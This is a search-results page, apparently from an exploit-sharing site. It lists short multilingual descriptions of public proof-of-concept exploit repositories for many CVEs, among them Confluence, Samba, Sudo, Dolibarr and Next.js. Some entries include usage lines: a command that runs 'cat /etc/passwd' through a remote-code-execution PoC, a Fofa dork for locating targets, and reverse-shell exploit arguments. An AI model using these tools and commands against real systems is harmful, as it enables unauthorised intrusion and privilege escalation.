1134926 matches found
CVE-2018-16763-Exploit-Python3
CVE-2018-16763 FuelCMS 1.4.1 远程代码执行漏洞 这是由 0xd0ff9 创建的漏洞（https://www.exploit-db.com/exploits/47138）到 Python 3 的移植版本。 要运行该漏洞利用，只需修改代码中的 url 变量为目标攻击的 URL，并将您所使用的代理添加到 proxies 列表中。 此漏洞利用不需要任何形式的身份验证。...
CVE-2017-11882
CVE-2017-11882 漏洞利用 CVE-2017-11882 漏洞利用最大可接受超过 17KB 字节长的命令/代码。 对于远程命令执行，此漏洞利用将调用 WinExec（参数为 SWHIDE），并在 WinExec 返回后调用 ExitProcess。 对于远程代码执行，此漏洞利用仅跳转到代码。 我找不到对象结构的参考……所以无法通过修改文件长度来实现任意长度代码执行……: 但我确实认为 17KB 字节完全足够了。Python 脚本会检测所需的 payload 大小，并选择合适的 payload 模板。 注意：如果未迁移到其他进程，RCE 会导致 winword 进程卡死！...
CVE-2018-6961
CVE-2018-6961 Python3 利用程序 VMware NSX SD-WAN Edge by VeloCloud 在 3.1.0 版本之前存在一个命令注入漏洞，位于本地 Web UI 组件中。该组件默认禁用，不应在不受信任的网络上启用。VMware 的 VeloCloud 将在未来版本中从产品中移除该服务。成功利用此问题可能导致远程代码执行。 链接 CVE 详情 https://nvd.nist.gov/vuln/detail/CVE-2018-6961 原始 Python2 利用程序 https://www.exploit-db.com/exploits/44959/...
noSAMBAnoCRY-CVE-2017-7494
noSAMBAnoCRY CVE-2017-7494 针对 SAMBA CVE-2017-7494 漏洞（又名 isknowpipename）的远程利用工具 详情 该利用工具分为 3 个部分： 在以下架构上编译 evilLib：x8664、x86 或 i686 找到可写共享并将 evilLib 上传到它！ 加载 evilLib，如果一切顺利，获得 RCE！ 只要目标存在漏洞且 payload 对目标操作系统和架构正确，该利用工具相当可靠。 使用方法 针对目标运行利用工具，等待 shell 生成： root@kitploit: $ python noSAMBAnoCRY.py -r RHO...
CVE-2016-10033
CVE-2016-10033 该漏洞影响 PHPMailer 5.2.18，能够实现远程代码执行。 资源 https://vulners.com/cve/CVE-2016-10033 用法 由于是用 Golang 编写的，只要你的系统中安装了 golang，就可以自行构建漏洞利用程序： root@kitploit: cd CVE-2016-10033 go build 然后你可以使用以下语法运行该漏洞利用程序： 作者 我不是该 CVE 的作者，但我是这个漏洞利用程序的作者。 如果你使用或修改它，不允许去掉其中的版权信息。...
CVE-2017-14980
Exploit-CVE-2017-14980 PoC exploit para CVE-2017-14980 — una vulnerabilidad de stack-based buffer overflow en Sync Breeze Enterprise 10.0.28. 📖 Análisis técnico completo del exploit: 👉 https://davigsantana.github.io/posts/buffer-overflow/ Acerca de Este repositorio contiene un proof-of-concept Po...
CVE-2021-21972
CVE-2021-21972 Descripción de la vulnerabilidad Vulnerabilidad de ejecución de código CVE-2021-21972 Un atacante malicioso con acceso al puerto 443 puede enviar solicitudes especialmente diseñadas a vCenter Server, lo que finalmente provoca la ejecución remota de código arbitrario. Detección de l...
SnakeYAML-CVE-2022-1471-POC
SnakeYAML-CVE-2022-1471-POC 用于 Veracode 博客的代码 为了演示代码执行： 1. 使用 Maven 构建项目 2. 执行 python3 -m http.server 8080 以运行 HTTP 服务器 3. 运行 exploit.java。你应该会在服务器上观察到一次 HTTP GET 请求 4. 为了演示 SnakeYAML 2.0 如何防止该攻击，请注释掉 pom.xml 中的 1.33 依赖 5. 取消注释 2.0 依赖，然后重新构建项目 6. 注释掉 exploit.java 并取消注释 Poc.java 7. 运行 Poc.java 并观察...
ms08-067
📖 概述 本仓库包含 MS08-067 Windows 服务器服务漏洞（CVE-2008-4250）的 Metasploit 模块实现。这是一个影响旧版 Windows 系统的经典远程代码执行漏洞。 🛠️ 安装与使用 前提条件 Kali Linux 已安装 Metasploit Framework 经过授权的测试环境 🤔如何使用？ 首先，登录 Kali Linux。然后 👉 运行以下命令： root@kitploit: git clone https://github.com/BinRacer/ms08-067.git cd ms08-067 sudo cp -a...
CVE-2026-66047
ProfilePress wp-user-avatar WordPress plugin before 4.17.2 contains an unauthenticated remote code execution vulnerability that allows unauthenticated attackers to install and activate arbitrary plugins by brute-forcing a weak 32-bit connect token via the ppressconnectprocess AJAX handler...
UBUNTU-CVE-2026-66047
ProfilePress wp-user-avatar WordPress plugin before 4.17.2 contains an unauthenticated remote code execution vulnerability that allows unauthenticated attackers to install and activate arbitrary plugins by brute-forcing a weak 32-bit connect token via the ppressconnectprocess AJAX handler...
CVE-2020-5902
Resumen En las versiones 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 y 11.6.1-11.6.5.1 de BIG-IP, la Interfaz de Usuario de Gestión de Tráfico TMUI, también denominada utilidad de configuración, presenta una vulnerabilidad de Ejecución Remota de Código RCE en páginas no...
log4j2_vul_local_scanner
Escáner Local de Vulnerabilidad Log4j2 CVE-2021-45046 Script de detección local de vulnerabilidades Log4j, escanea todos los procesos java del host, comprueba si se ha introducido el jar log4j-core vulnerable, y si es posible sufrir un ataque de ejecución remota de código CVE-2021-45046. Sube el...
CVE-2021-26084
CVE-2021-26084 CVE-2021-26084 Confluence 服务器远程代码执行漏洞。 Dork Fofa: app="ATLASSIAN-Confluence" 使用方法 显示帮助信息。 root@kitploit: python PoC.py 对单个网站进行漏洞验证。 root@kitploit: python PoC.py -u https://1.1.1.1 命令执行。 root@kitploit: python PoC.py -u https://1.1.1.1 -e 'cat /etc/passwd' 批量测试。 root@kitploit: python...
n8n-RCE
n8n RCE 已修复 通过 n8n 工作流执行远程代码 基于 CVE-2025-68613 ⚠️ 仅供教育目的 📚 安装与使用 🛠️ root@kitploit: $ git clone https://github.com/AbdulRKB/n8n-RCE.git $ cd n8n-RCE $ pip install -r requirements.txt $ python exploit.py -u -e -p...
React2Shell
@React2Hell — CVE-2025-55182 Exploit 🔥 Exploit de Ejecución Remota de Código RCE en Next.js / React Server root@kitploit: █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄...
CVE-2025-32463
漏洞概述 CVE-2025-32463 影响 Sudo 1.9.14 至 1.9.16 版本（已在 1.9.17p1 中修复）。 当以 --chroot 选项调用 Sudo 时，它可能从攻击者控制的路径加载配置，导致任意代码执行和权限提升至 root。 用法：python3 CVE-2025-32463.py 这将弹出 root shell（视频 POC 已演示） CVSS 评分：7.8（高危） 影响：本地权限提升至 root。 受影响系统：存在漏洞的 Sudo 的 Linux 发行版（例如 Ubuntu 24.04 LTS、RHEL 等）。 要求 Python 3.8+ 存在漏洞的...
CVE-2026-80601
A flaw was found in the batman-adv Better Approach To Mobile Ad-hoc Networking - Advanced module of the Linux kernel. When the pskbmaypull function is called by batadvgetvid, it can reallocate the buffer, causing variables to point to a freed memory region. This use-after-free vulnerability could...
POC-exploit-for-Dolibarr
针对 Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host...